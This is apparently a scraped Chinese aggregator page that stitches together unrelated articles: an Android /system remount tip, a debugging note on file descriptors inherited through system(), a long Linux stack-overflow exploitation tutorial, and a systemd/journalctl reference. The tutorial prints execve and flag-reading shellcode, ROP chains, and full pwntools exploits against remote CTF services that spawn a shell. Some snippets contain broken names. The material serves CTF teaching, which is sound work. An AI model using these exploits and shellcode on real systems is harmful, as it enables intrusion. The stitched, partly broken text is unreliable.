精华内容
下载资源
问答
  • 2021-05-14 01:50:43

    1 开启终端;

    2 adb shell连接终端,如果不是root用户,要手动切换到root用户,adb root;

    3 输入mount命令,显示已挂载列表:

    rootfs / rootfs ro,relatime 0 0

    tmpfs /dev tmpfs rw,nosuid,relatime,mode=755 0 0

    devpts /dev/pts devpts rw,relatime,mode=600 0 0

    proc /proc proc rw,relatime 0 0

    sysfs /sys sysfs rw,relatime 0 0

    none /acct cgroup rw,relatime,cpuacct 0 0

    tmpfs /mnt/asec tmpfs rw,relatime,mode=755,gid=1000 0 0

    tmpfs /mnt/obb tmpfs rw,relatime,mode=755,gid=1000 0 0

    none /dev/cpuctl cgroup rw,relatime,cpu 0 0

    /dev/block/mmcblk0p12 /system ext4 ro,relatime,barrier=1,data=ordered 0 0

    /dev/block/mmcblk0p20 /data ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered,noauto_da_alloc 0 0

    /dev/block/mmcblk0p14 /persist ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

    /dev/block/mmcblk0p15 /cache ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

    /dev/block/mmcblk0p13 /system/flex ext4 ro,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

    /dev/block/mmcblk0p16 /tombstones ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

    /dev/block/mmcblk0p1 /firmware vfat ro,relatime,fmask=0000,dmask=0000,allow_utime=0022,codepage=cp437,iocharset=iso8859-1,shortname=lower,errors=remount-ro 0 0

    /dev/fuse /emmc fuse rw,nosuid,nodev,relatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0

    #

    4 找到要改写权限的挂载目录,如/system对应/dev/block/mmcblk0p12,按如下指令挂载

    mount -o rw,remount /system /dev/block/mmcblk0p12或者

    mount -o rw,remount /dev/block/mmcblk0p12 /system

    5,再次用mount查看修改权限是否成功

    更多相关内容
  • system()改写

    2014-04-01 10:50:30
    Linux system()是fork()+execl() 不会关闭从父进程继承过来的文件描述符 如果使用system()调用生命期短的进程一般问题不大,如果调用一个生命期比主进程还长的进程肯定有问题,比如在主进程中打开了一个socket并绑定...
  • linux system 引发若干问题 现象 在进程A的线程s中使用system执行了进程B(后台持续运行),在进程A退出时向守护进程D发送了socket断开信息,但是进程D没有收到消息。在shell中手动重新运行进程A时,进程A中打开...

    现象

    在进程A的线程s中使用system执行了进程B(后台持续运行),在进程A退出时向守护进程D发送了socket断开信息,但是进程D没有收到消息。在shell中手动重新运行进程A时,进程A中打开设备失败。

    调查步骤1-尝试

    作为linux入门级选手,尝试在进程A退出后,在shell端kill掉进程B,发现守护进程D即刻收到socket消息。再次手动运行进程A,不会出现打开设备失败信息。

    在进程A中不运行进程B,直接在shell中执行进程B。在进程A退出时,守护进程D即刻收到socket消息。进程A再次运行也不会出现打开设备失败信息。

    怀疑进程A通过调用system执行进程B,使进程B继承了进程A的某些资源,造成进程A退出后,进程B不释放。在进程A运行期间,查看进程B的父进程为pid为1:init进程,进程A和进程B不属于父子进程关系。

    想到解决方法为:在进程A退出时(正常或者异常),进程B都能跟随退出。基于此想法,进行解决方法搜索。

    参照网址使用prctl API, 在父进程退出后,让子进程也退出 - cornsea - 博客园使用prctl API, 在父进程退出后,让子进程也退出)中说法改写system函数,调用prctl(PR_SET_PDEATHSIG, SIGHUP),写测试程序,在PC上执行,发现kill掉主进程时,创建的子进程的确可以退出。交叉编译到装置里运行,主进程kill掉后,创建的子进程仍不能退出。

    调查步骤2-尝试

    步骤1中,使用prctl失败后,继续搜索。c - How to make child process die after parent exits? - Stack Overflow How to make child process die after parent exits?。其中提到:

    int pipes[2];
    pipe(pipes)
    if (fork() == 0) {
        close(pipes[1]); /* Close the writer end in the child*/
        dup2(pipes[0], 0); /* Use reader end as stdin */
        exec("sh -c 'set -o monitor; child_process & read dummy; kill %1'")
    }
    
    close(pipes[0]); /* Close the reader end in the parent */

    待去尝试

    调查步骤3-解决

    在进程A运行期间,使用netstat -anpl | grep -i 端口号 查看到进程A和进程D的相关信息。等进程A退出后,再次使用此命令查看,进程A的socket被进程B接管。父子进程中,Linux中,子进程与父进程的继承关系_gakki的二向箔-CSDN博客_linux子进程继承父进程哪些(Linux中,子进程与父进程的继承关系),子进程继承了父进程的文件描述符,socket和打开设备都属于文件描述符。system执行的进程虽然父进程id不是其执行进程的id,但其中也调用了fork函数(linux system 函数源代码分析-ShadowSrX-ChinaUnix博客),应该也符合子进程继承父进程相关资源。基于父子进程继承问题进行相关搜索。

    C语言在linux如何让子进程不继承父进程的资源_百度知道 C语言在linux如何让子进程不继承父进程的资源

    一个子进程继承父进程所有文件描述符的坑_anthonytao的博客-CSDN博客_子进程会继承父进程的文件描述符吗 一个子进程继承父进程所有文件描述符的坑

    网址中给出了解决方法,在执行execl系列函数前关闭所有已经打开的文件描述符。因此,问题就转换成了,执行fork后,execl前,关闭所有已打开的文件描述符。

    先用简单的方法进行测试,(守护进程)如何关闭所有已经打开的文件描述符-CSDN论坛。在进程A退出后,守护进程D可以收到socket消息,再次运行进程A,打开设备正常。

    但每次关闭所有的文件描述符,效果还行,但效率感觉不是很好。网址中使用FD_CLOEXEC实现close-on-exec,关闭子进程无用文件描述符_牛晨光的博客-CSDN博客 (O_CLOEXEC)在打开设备时追加O_CLOEXEC标志(socket为SOCK_CLOEXEC),在执行exec时可自动关闭一打开的文件描述符。open时可以追加此标志,但fopen怎么加?

    上述简单的方法关闭打开的文件描述符不友好,快速关闭所有打开的文件描述符-xiaosuo-ChinaUnix博客快速关闭所有打开的文件描述符)提供了遍历/proc/进程id/fd目录下逐一关闭方法。待试。

    后记

    改写system,在fork后开始执行exe系列函数。例如将:system("xterm -hold -e ls")中参数直接表示成execl("/bin/sh", "sh", "-c", "xterm -hold -e ls"), (char *)0),将会创建两个xterm进程(可以用 top & 替换xterm整条命令),且其中一个为另一个的父进程,若改写成execlp("xterm","-hold","-e","ls",NULL),将不能正确执行。参考关于linux execl函数 - OSCHINA - 中文开源技术交流社区(关于linux execl函数),需改成execlp("xterm", "xterm","-hold","-e","ls",NULL);或者execl("/bin/sh", "xterm","-hold","-e","ls",NULL);

    如何将exec函数传参封装成象system函数传参一样?

    问题

    在进程A退出时发送的socket消息,守护进程D并未收到,跑哪里了?待调查

    Linux下调用system()函数导致的问题_fengxinze的专栏-CSDN博客_linux调用system

    展开全文
  • linux栈溢出

    千次阅读 2022-02-01 20:57:06
    addr = libc_base + obj.dump("system") ELF libc = ELF("./libc.so.6") libc_base = write_addr - libc.symbol['write'] bin_sh_addr = libc_base + libc.search("/bin/sh").next() ayatem_addr = libc_base + libc...

    栈溢出

    栈基础知识

    栈结构

    image-20220131010440822

    函数调用过程

    32位为例:
    push args call func { push eip jmp func push ebp mov ebp,esp ⋮ leave { mov esp,ebp pop ebp ret (pop eip) \begin{aligned} & \text{push args}\\ & \text{call func}\left\{\begin{matrix} \text{push eip}\\ \text{jmp func} \end{matrix}\right.\\ & \text{push ebp}\\ & \text{mov ebp,esp}\\ & \vdots \\ & \text{leave}\left\{\begin{matrix} \text{mov esp,ebp}\\ \text{pop ebp} \end{matrix}\right.\\ &\text{ret}\ \text{(pop eip)} \end{aligned} push argscall func{push eipjmp funcpush ebpmov ebp,espleave{mov esp,ebppop ebpret (pop eip)

    函数参数传递

    32位程序

    • 普通函数传参:参数基本都压在栈上(有寄存器传参的情况,可查阅相关资料)。
    • syscall传参:eax对应系统调用号,ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。

    64位程序:

    • 普通函数传参:先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上。
    • syscall传参:rax对应系统调用号,传参规则与普通函数传参一致。

    ret2text

    栈溢出覆盖返回地址为后门函数从而获取shell。

    ret2shellcode

    将shellcode写入可执行的内存地址处,然后栈溢出覆盖返回地址到shellcode从而执行shellcode获取shell。

    32位例题:wdb_2018_3rd_soEasy

    64位例题:ciscn_2019_n_5

    shellcode

    手写

    • 32位

      • shell(21字节)

        shellcode = asm("""
            push 0x68732f
            push 0x6e69622f
            mov ebx,esp
            xor ecx,ecx
            xor edx,edx
            push 11
            pop eax
            int 0x80
        """)
        
      • orw(56字节)

        shellcode = asm("""
            /*open(./flag)*/
            push 0x1010101
            xor dword ptr [esp], 0x1016660
            push 0x6c662f2e
            mov eax,0x5
            mov ebx,esp
            xor ecx,ecx
            int 0x80
            /*read(fd,buf,0x100)*/
            mov ebx,eax
            mov ecx,esp
            mov edx,0x30
            mov eax,0x3
            int 0x80
            /*write(1,buf,0x100)*/
            mov ebx,0x1
            mov eax,0x4
            int 0x80
        """)
        
    • 64位

      • shell(22字节)

        shellcode = asm("""
            mov rbx, 0x68732f6e69622f
            push rbx
            push rsp
            pop rdi
            xor esi,esi
            xor edx,edx
            push 0x3b
            pop rax
            syscall
        """)
        
      • orw(43字节)

        shellcode = asm("""
            push 0x67616c66
            mov rdi,rsp
            xor esi,esi
            push 2
            pop rax
            syscall
            mov rdi,rax
            mov rsi,rsp
            mov edx,0x100
            xor eax,eax
            syscall
            mov edi,1
            mov rsi,rsp
            push 1
            pop rax
            syscall
        """)
        

    pwntools 生成

    • shell(32位44字节,64位48字节)

      context.arch = elf.arch
      shellcode = asm(shellcraft.sh())
      
    • orw

      • 32位(55字节)

        shellcode = ''
        shellcode += shellcraft.open('./flag')
        shellcode += shellcraft.read('eax','esp',0x100)
        shellcode += shellcraft.write(1,'esp',0x100)
        shellcode = asm(shellcode)
        
      • 64位(66字节)

        shellcode = ''
        shellcode += shellcraft.open('./flag')
        shellcode += shellcraft.read('rax','rsp',0x100)
        shellcode += shellcraft.write(1,'rsp',0x100)
        shellcode = asm(shellcode)
        

    ret2syscall

    构造rop链模拟系统调用过程

    ROPgadget有时可自动构造,但可能长度过长,建议手动构造。

    ROPgadget.py --binary ./pwn --ropchain
    

    execve("/bin/sh",0,0)为例:

    ROPgadget检索相关指令举例:

    ROPgadget --binary ./pwn  --only 'pop|ret' | grep 'ebx'
    

    32位

    • eax = 0x0b
    • ebx指向"/bin/sh"
    • ecx = 0x0
    • edx = 0x0

    rop示例:

    image-20220201192835830

    64位

    • rax = 0x3b
    • rdi指向"/bin/sh"
    • rsi = 0x0
    • rdx = 0x0

    rop示例:

    image-20220201192913030

    ret2libc

    linux延迟绑定机制

    动态链接每个函数需要两个东西:

    • 用来存放外部函数地址的数据段

    • 用来获取数据段记录的外部函数地址的代码

    对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),那个存放额外代码的表称为程序链接表PLT,Procedure Link Table)

    图片

    可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址。

    在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制:只有动态库函数在被调用时,才会地址解析和重定位工作。

    举例:

    第一次调用

    图片

    之后再次调用

    图片

    利用过程

    泄露函数地址

    泄露libc函数地址的条件:程序中有输出函数,例如puts/printf/write

    write(1,buf,20)为例:

    • 32位

      image-20220201201536794

    • 64位

      需要控制三个参数,rdi,rsi,rdx

      第三个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓。

      image-20220201202820871

      截取泄露的函数地址

      • 32位

        u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
        
      • 64位

        u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
        
      • 特别得,对于printf输出数字结果,不需要小端序转换,[:-1]是为了去掉最后的回车

        int(p.recvline()[:-1],16)
        

      获取libc基址

      • LibcSearcher

        from LibcSearcher import *
        libc = LibcSearcher("write",write_addr)
        libc_base = write_addr - libc.dump("write")
        bin_sh_addr = libc_base + libc.dump("str_bin_sh")
        system_addr = libc_base + obj.dump("system")
        
      • ELF

        libc = ELF("./libc.so.6")
        libc_base = write_addr - libc.symbol['write']
        bin_sh_addr = libc_base + libc.search("/bin/sh").next()
        ayatem_addr = libc_base + libc.symbol['system']
        

      构造rop获取shell

      system函数调用过程。

      另外,可以one_gadget查找已知的libc中exevce("/bin/sh")语句的地址。

      $ one_gadget libc-2.23.so
      0x45216 execve("/bin/sh", rsp+0x30, environ)
      constraints:
        rax == NULL
      
      0x4526a execve("/bin/sh", rsp+0x30, environ)
      constraints:
        [rsp+0x30] == NULL
      
      0xf0274 execve("/bin/sh", rsp+0x50, environ)
      constraints:
        [rsp+0x50] == NULL
      
      0xf1117 execve("/bin/sh", rsp+0x70, environ)
      constraints:
        [rsp+0x70] == NULL
      

    栈迁移

    栈迁移主要是为了解决栈溢出溢出空间大小不足的问题。

    通过栈溢出将将栈中的ebp覆盖为fake_ebp-4(64位为fake_ebp-8,因为leave指令mov esp,ebp之后还有pop ebp使得esp增加),通过两次leave可以将esp的值改为fake_ebp,从而完成栈迁移,这样就可以在溢出空间不足的情况下构造完整的rop链。

    栈迁移到数据填充段

    image-20220201220727506

    将栈迁移到数据填充段中,执行其中的rop。

    栈迁移到其它空闲地址

    image-20220202002817557

    调用read函数将rop写入空闲地址中,然后将栈迁移到该地址执行该rop。

    这里返回到read函数时会有push ebp保存ebp值,read函数中的leave;ret语句不会对栈迁移造成影响,因此还要再加一个leave;ret

    ret2csu

    在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

    .text:00000000004005C0 ; void _libc_csu_init(void)
    .text:00000000004005C0                 public __libc_csu_init
    .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
    .text:00000000004005C0                 push    r15
    .text:00000000004005C2                 push    r14
    .text:00000000004005C4                 mov     r15d, edi
    .text:00000000004005C7                 push    r13
    .text:00000000004005C9                 push    r12
    .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
    .text:00000000004005D2                 push    rbp
    .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:00000000004005DA                 push    rbx
    .text:00000000004005DB                 mov     r14, rsi
    .text:00000000004005DE                 mov     r13, rdx
    .text:00000000004005E1                 sub     rbp, r12
    .text:00000000004005E4                 sub     rsp, 8
    .text:00000000004005E8                 sar     rbp, 3
    .text:00000000004005EC                 call    _init_proc
    .text:00000000004005F1                 test    rbp, rbp
    .text:00000000004005F4                 jz      short loc_400616
    .text:00000000004005F6                 xor     ebx, ebx
    .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400600
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600
    .text:0000000000400616
    .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
    .text:0000000000400616                 add     rsp, 8
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B                 pop     rbp
    .text:000000000040061C                 pop     r12
    .text:000000000040061E                 pop     r13
    .text:0000000000400620                 pop     r14
    .text:0000000000400622                 pop     r15
    .text:0000000000400624                 retn
    .text:0000000000400624 __libc_csu_init endp
    

    可以看到,如果能够控制 r12r8 寄存器的值就可以利用 0x0000000000400609 地址处的 call 指令执行任意函数。因此可以利用 0x00000000004006160000000000400624 的汇编指令先控制寄存器的值,然后再执行 0x00000000004006000x0000000000400624 的汇编指令调用目标函数,然后返回到主函数再次利用。

    对应脚本如下:

    csu_front_addr = 0x0000000000400600
    csu_end_addr = 0x000000000040061A
    fakeebp = 'b' * 8
    
    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r15d
        # rsi=r14
        # rdx=r13
        payload = 'a' * 0x80 + fakeebp
        payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        payload += 'a' * 0x38
        payload += p64(last)
        sh.send(payload)
        sleep(1)
    

    其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

    _init
    _start
    call_gmon_start
    deregister_tm_clones
    register_tm_clones
    __do_global_dtors_aux
    frame_dummy
    __libc_csu_init
    __libc_csu_fini
    _fini
    

    我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

    ret2dlresolve

    ELF关于动态链接的一些关键section

    主要有 .dynamic.dynstr.dynsym.rel.plt 四个重要的 section 。

    结构及关系如下如图:

    dlresolve.drawio

    _dl_runtime_resolve 函数

    _dl_runtime_resolve 函数的作用可以见前面 ret2libc 中 linux 延迟绑定机制的原理介绍图。这里详细介绍的是该函数的具体实现。

    _dl_runtime_resolve 函数的具体实现为:

    1. link_map 访问 .dynamic ,取出 .dynstr.dynsym.rel.plt 的指针
    2. .rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel
    3. rel->r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym
    4. .dynstr + sym->st_name 得出符号名字符串指针
    5. 在动态链接库查找这个函数的地址,并且把地址赋值给 *rel->r_offset ,即 GOT 表
    6. 调用这个函数

    改写 .dynamic 的 DT_STRTAB

    这个只有在 checksec 时 No RELRO 可行,即 .dynamic 可写。因为 ret2dl-resolve 会从 .dynamic 里面拿 .dynstr 字符串表的指针,然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当 resolve 的时候,就能 resolve 成我们所指定的任意库函数。

    操纵第二个参数,使其指向我们所构造的 Elf32_Rel

    由于 _dl_runtime_resolve 函数各种按下标取值的操作都没有进行越界检查,因此如果 .dynamic 不可写就操纵 _dl_runtime_resolve 函数的第二个参数,使其访问到可控的内存,然后在该内存中伪造 .rel.plt ,进一步可以伪造 .dynsym.dynstr ,最终调用目标函数。

    这里以 midnightCTF2022 的 speed5 为例讲解具体利用过程:

    可以看出,程序主体部分是一个非常简单的栈溢出。

    void __cdecl go()
    {
      char buf[24]; // [esp+0h] [ebp-18h] BYREF
    
      read(0, buf, 48u);
    }
    

    由于溢出长度有限,因此首先需要栈迁移到其他地址处。

    在这里插入图片描述
    调用 _dl_runtime_resolve 函数可以把接下来 rop 中的返回地址设为该函数的 plt 表地址。该地址对应的汇编指令如下:
    在这里插入图片描述
    可以看到 _dl_runtime_resolve(link_map_obj, reloc_offset) 的参数1 link_map_obj 被 push 到栈中,在此之前,栈顶一定是参数2 reloc_offset 。因此构造的 rop 中接下来的值是伪造的参数2。接下来rop链的内容是目标函数的返回地址和参数(具体rop链为什么这么构造可以看前面 ret2libc 中 linux 延迟绑定机制的原理介绍图)。

    之后就是伪造那 3 个结构,具体见下图。
    在这里插入图片描述
    exp 如下:

    from pwn import *
    
    context(arch='i386', os='linux')
    # context.log_level = 'debug'
    p = remote("speed-05.hfsc.tf", 22345)
    # p = process('./speed5')
    elf = ELF("./speed5")
    
    rop_addr = elf.bss() + 0x600
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    leave_ret = 0x80491C9
    resolve_plt = 0x8049030
    JMPREL = 0x8048314
    SYMTAB = 0x8048248
    STRTAB = 0x8048298
    
    
    def ret2dlresolve():
        fake_rel_addr = rop_addr + 5 * 4
        reloc_offset = fake_rel_addr - JMPREL
        bin_sh_addr = rop_addr + 19 * 4
        fake_sym_addr = rop_addr + 7 * 4
        align = (0x10 - ((fake_sym_addr - SYMTAB) & 0xF)) & 0xF
        fake_sym_addr += align
        r_info = ((fake_sym_addr - SYMTAB) / 0x10 << 8) | 0x7
        fake_rel = p32(read_got) + p32(r_info)
        fake_name_addr = fake_sym_addr + 6 * 4
        st_name = fake_name_addr - STRTAB
        fake_sym = p32(st_name) + p32(0) * 2 + p32(0x12) + p32(0) * 2
        payload = p32(0)
        payload += p32(resolve_plt)
        payload += p32(reloc_offset)
        payload += p32(0)
        payload += p32(bin_sh_addr)
        payload += fake_rel
        payload += '\x00' * align
        payload += fake_sym
        payload += "system"
        payload = payload.ljust(19 * 4, '\x00')
        payload += '/bin/sh\x00'
        return payload
    
    
    if __name__ == '__main__':
        payload = 'a' * 24
        payload += p32(rop_addr)
        payload += p32(read_plt)
        payload += p32(leave_ret)
        payload += p32(0)
        payload += p32(rop_addr)
        payload += p32(0x100)
        p.send(payload)
        p.send(ret2dlresolve())
        p.interactive()
    

    SROP

    简单的说就是如果系统调用 rt_sigreturn 时会根据当前栈顶的 Signal Frame 结构恢复各寄存器的值。通过伪造 Signal Frame 并通过构造 rop 使程序执行 rt_sigreturn 就可以执行想要执行的函数以及把栈迁移到任意地址。

    以 64 位为例,其中一种构造方式如下:
    其中 0xF 为 rt_sigreturn 的系统调用号。
    在这里插入图片描述
    Signal Frame 结构如下:
    在这里插入图片描述
    通过设置 Signal Frame 的 rsp 的值栈迁移,可以连读多次进行 SROP。
    在这里插入图片描述
    例题:rootersctf_2019_srop

    signed __int64 sub_401000()
    {
      signed __int64 v0; // rax
      char buf[128]; // [rsp+0h] [rbp-80h] BYREF
    
      v0 = sys_write(1u, ::buf, 0x2AuLL);
      return sys_read(0, buf, 0x400uLL);
    }
    

    存在栈溢出。

    可供利用的 gadget :

    .text:0000000000401032                 pop     rax
    .text:0000000000401033                 syscall                 ; LINUX - sys_read
    .text:0000000000401035                 leave
    .text:0000000000401036                 retn
    

    可以完成改 rax 和 系统调用,不过 ret 前多了一个 leave ,因此连续 SROP 时不能像前面示意图那样直接改 rsp ,而是将 rbp 设为目标栈地址 + 8 ,利用栈迁移将栈顶迁移到目标地址。

    第一次 SROP 可以调用 read 向 .data 段的 buf 写入第二段 rop 以及 /bin/sh\x00 字符串。
    第二次 SROP 执行 execve 获取 shell 。

    from pwn import *
    
    context(arch='amd64', os='linux')
    context.log_level = 'debug'
    p = remote('node4.buuoj.cn',26384)
    # p = process('./rootersctf_2019_srop')
    elf = ELF("./rootersctf_2019_srop")
    
    if __name__ == '__main__':
        buf_addr = 0x402000
        syscall_leave_ret = 0x401033
        pop_rax_syscall_leave_ret = 0x401032
    
        frame = SigreturnFrame()
        frame.rax = 0  # read
        frame.rdi = 0  # stdin
        frame.rsi = buf_addr  # buf
        frame.rdx = 0x400  # size
        frame.rip = syscall_leave_ret
        frame.rbp = buf_addr
    
        payload = ''
        payload += 'a' * 0x88
        payload += p64(pop_rax_syscall_leave_ret)
        payload += p64(0xF)
        payload += str(frame)
    
        p.sendafter('Hey, can i get some feedback for the CTF?\n',payload)
    
        frame = SigreturnFrame()
        frame.rax = 59  # execve
        frame.rdi = buf_addr  # "/bin/sh\x00"
        frame.rsi = 0
        frame.rdx = 0
        frame.rip = syscall_leave_ret
    
        payload = ''
        payload += '/bin/sh\x00'
        payload += p64(pop_rax_syscall_leave_ret)
        payload += p64(0xF)
        payload += str(frame)
    
        p.send(payload)
    
        p.interactive()
    
    展开全文
  • Linux:使用systemd管理进程

    千次阅读 2021-03-07 00:33:22
    概述systemd是目前Linux系统上主要的系统守护进程管理工具,由于init一方面对于进程的管理是串行化的,容易出现阻塞情况,另一方面init也仅仅是执行启动脚本,并不能对服务本身进行...

    概述

    systemd是目前Linux系统上主要的系统守护进程管理工具,由于init一方面对于进程的管理是串行化的,容易出现阻塞情况,另一方面init也仅仅是执行启动脚本,并不能对服务本身进行更多的管理。所以从CentOS 7 开始也由systemd取代了init作为默认的系统进程管理工具。

    systemd所管理的所有系统资源都称作Unit,通过systemd命令集可以方便的对这些Unit进行管理。比如systemctlhostnamectltimedatectllocalctl等命令,这些命令虽然改写了init时代用户的命令使用习惯(不再使用chkconfig、service等命令),但确实也提供了很大的便捷性。

    特点

    • 提供了服务按需启动 的能力,使得特定的服务只有在真定被请求时才启动,显著提高开机启动效率

    • 允许更多的进程并行启动:Systemd 通过 Socket 缓存、DBus 缓存和建立临时挂载点等方法进一步解决了启动进程之间的依赖,做到了所有系统服务并发启动。

    • 使用 CGroup 跟踪和管理进程的生命周期:通过 CGroup 不仅能够实现服务之间访问隔离,限制特定应用程序对系统资源的访问配额,还能更精确地管理服务的生命周期。

    • 专用的系统日志管理服务:Journald,这个服务的设计初衷是克服现有 Syslog 服务的日志内容易伪造和日志格式不统一等缺点,Journald 用 二进制格式 保存所有的日志信息,因而日志内容很难被手工伪造。Journald 还提供了一个 journalctl 命令来查看日志信息,这样就使得不同服务输出的日志具有相同的排版格式, 便于数据的二次处理。

    systemctl语法

    systemctl [OPTIONS...] {COMMAND} ...
    
    

    command:

    • start:启动指定的unit,例如systemctl start nginx

    • stop:关闭指定的unit,例如systemctl stop nginx

    • restart:重启指定unit,例如systemctl restart nginx

    • reload:重载指定unit,例如systemctl reload nginx

    • enable:系统开机时自动启动指定unit,前提是配置文件中有相关配置,例如systemctl enable nginx

    • disable:开机时不自动运行指定unit,例如systemctl disable nginx

    • status:查看指定unit当前运行状态,例如systemctl status nginx

    查看当前系统Unit

    # 列出正在运行的 Unit
    $ systemctl list-units
    
    # 列出所有Unit,包括没有找到配置文件的或者启动失败的
    $ systemctl list-units --all
    
    # 列出所有没有运行的 Unit
    $ systemctl list-units --all --state=inactive
    
    # 列出所有加载失败的 Unit
    $ systemctl list-units --failed
    
    # 列出所有正在运行的、类型为 service 的 Unit
    $ systemctl list-units --type=service
    
    # 查看 Unit 配置文件的内容
    $ systemctl cat docker.service
    
    

    查看Unit状态

    • enabled:已建立启动链接

    • disabled:没建立启动链接

    • static:该配置文件没有 [Install] 部分(无法执行),只能作为其他配置文件的依赖

    • masked:该配置文件被禁止建立启动链接

    # 显示系统状态
    $ systemctl status
    
    # 显示单个 Unit 的状态
    $ ystemctl status bluetooth.service
    
    # 显示远程主机的某个 Unit 的状态
    $ systemctl -H root@rhel7.example.com status httpd.service
    
    

    Unit管理

    # 立即启动一个服务
    $ sudo systemctl start apache.service
    
    # 立即停止一个服务
    $ sudo systemctl stop apache.service
    
    # 重启一个服务
    $ sudo systemctl restart apache.service
    
    # 杀死一个服务的所有子进程
    $ sudo systemctl kill apache.service
    
    # 重新加载一个服务的配置文件
    $ sudo systemctl reload apache.service
    
    # 重载所有修改过的配置文件
    $ sudo systemctl daemon-reload
    
    # 显示某个 Unit 的所有底层参数
    $ systemctl show httpd.service
    
    # 显示某个 Unit 的指定属性的值
    $ systemctl show -p CPUShares httpd.service
    
    # 设置某个 Unit 的指定属性
    $ sudo systemctl set-property httpd.service CPUShares=500
    
    

    查看 Unit 的依赖关系

    # 列出一个 Unit 的所有依赖,默认不会列出 target 类型
    $ systemctl list-dependencies nginx.service
    
    # 列出一个 Unit 的所有依赖,包括 target 类型
    $ systemctl list-dependencies --all nginx.service
    
    

    Target 管理

    Target 就是一个 Unit 组,包含许多相关的 Unit 。启动某个 Target 的时候,Systemd 就会启动里面所有的 Unit。

    在传统的 SysV-init 启动模式里面,有 RunLevel 的概念,跟 Target 的作用很类似。不同的是,RunLevel 是互斥的,不可能多个 RunLevel 同时启动,但是多个 Target 可以同时启动。

    # 查看当前系统的所有 Target
    $ systemctl list-unit-files --type=target
    
    # 查看一个 Target 包含的所有 Unit
    $ systemctl list-dependencies multi-user.target
    
    # 查看启动时的默认 Target
    $ systemctl get-default
    
    # 设置启动时的默认 Target
    $ sudo systemctl set-default multi-user.target
    
    # 切换 Target 时,默认不关闭前一个 Target 启动的进程,systemctl isolate 命令改变这种行为,关闭前一个 Target 里面所有不属于后一个 Target 的进程
    $ sudo systemctl isolate multi-user.target
    
    

    journalctl语法

    Systemd 通过其标准日志服务 Journald 提供的配套程序 journalctl 将其管理的所有后台进程打印到 std:out(即控制台)的输出重定向到了日志文件。

    Systemd 的日志文件是二进制格式的,必须使用 Journald 提供的 journalctl 来查看,默认不带任何参数时会输出系统和所有后台进程的混合日志。

    默认日志最大限制为所在文件系统容量的 10%,可以修改 /etc/systemd/journald.conf 中的 SystemMaxUse 来指定该最大限制。

    语法:

    journalctl [OPTIONS...] [MATCHES...]
    
    

    实例

    # 查看所有日志(默认情况下 ,只保存本次启动的日志)
    $ sudo journalctl
    
    # 查看内核日志(不显示应用日志):--dmesg 或 -k
    $ sudo journalctl -k
    
    # 查看系统本次启动的日志(其中包括了内核日志和各类系统服务的控制台输出):--system 或 -b
    $ sudo journalctl -b
    $ sudo journalctl -b -0
    
    # 查看上一次启动的日志(需更改设置)
    $ sudo journalctl -b -1
    
    # 查看指定服务的日志:--unit 或 -u
    $ sudo journalctl -u docker.servcie
    
    # 查看指定服务的日志
    $ sudo journalctl /usr/lib/systemd/systemd
    
    # 实时滚动显示最新日志
    $ sudo journalctl -f
    
    # 查看指定时间的日志
    $ sudo journalctl --since="2012-10-30 18:17:16"
    $ sudo journalctl --since "20 min ago"
    $ sudo journalctl --since yesterday
    $ sudo journalctl --since "2015-01-10" --until "2015-01-11 03:00"
    $ sudo journalctl --since 09:00 --until "1 hour ago"
    
    # 显示尾部的最新 10 行日志:--lines 或 -n
    $ sudo journalctl -n
    
    # 显示尾部指定行数的日志
    $ sudo journalctl -n 20
    
